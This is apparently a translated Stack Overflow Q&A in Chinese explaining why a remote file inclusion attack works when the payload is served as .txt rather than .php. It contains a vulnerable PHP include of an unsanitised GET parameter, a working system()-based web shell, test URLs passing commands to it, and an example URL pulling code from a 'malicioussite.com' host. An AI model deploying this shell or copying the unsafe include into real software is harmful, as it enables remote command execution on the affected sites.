后端:
<?php $file = $_GET["file"];
include $file; ?>
bad.txt bad.php CONTENT:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
第一次尝试:
http://<IP>/bad.php?cmd=ipconfig
第二次尝试:
http://<IP>/bad.txt?cmd=ipconfig
为什么第二次尝试成功了,而第一次失败了?
发布于 2020-10-17 18:23:50
我根据您给出的信息做了一两个假设,但这通常是问题所在--当您从具有.php
扩展名的服务器请求文件时,脚本将在您请求包含的主机服务器上运行。因此,所包含的是宿主服务器上PHP脚本的输出,而不是内容。但是,通过.txt
扩展,宿主服务器将其作为文本处理,并只提供原始的PHP代码。此代码包含在易受攻击的PHP页面中,恶意代码在受影响的站点上运行。
换句话说,如果您请求https://vulnsite.com/rfi.php?file=https://malicioussite.com/evil.php
,那么evil.php
将在malicioussite.com
上运行,输出将返回并包含在vulnsite.com
上的rfi.php
页面中。如果您使用evil.txt
,那么原始的PHP代码将被发送到易受攻击的站点,包括在脚本中,并按您的意愿执行。
https://stackoverflow.com/questions/64593614
复制相似问题